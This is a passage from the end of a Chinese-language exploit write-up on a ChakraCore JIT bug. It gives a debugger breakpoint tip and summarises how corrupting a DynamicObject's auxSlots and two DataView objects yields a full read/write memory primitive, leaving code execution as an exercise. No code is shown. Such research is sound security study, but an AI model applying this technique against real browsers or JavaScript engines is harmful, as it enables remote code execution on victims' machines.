  • chakracore!Js::DynamicTypeHandler::SetSlotUnchecked设置断点,阻止解释器执行的DynamicObject属性赋值操作。这对于查看javascript对象(oobj)如何破坏内存中的其他对象很有帮助。

将两者任意结合起来可以轻松定位利用代码。

 

总结

我们已经见识了如何利用DynamicObjectauxSlots的JIT破坏来最终获得完全读写原语。我们利用损坏的对象进一步破坏其他感兴趣的对象。——特别是两个DataView对象,前一个精确地破坏了第二个,从而控制原语地址的选择。我们不得不绕过 javascript’s DynamicObject “API” 中的一些限制。最后,请注意,获得完全读写原语仅仅此漏洞利用的第一步。攻击者仍然需要重定向程序执行流程来获得完成的RCE。但是,这些内容超出了本文章的范畴,可以留给读者自行练习。

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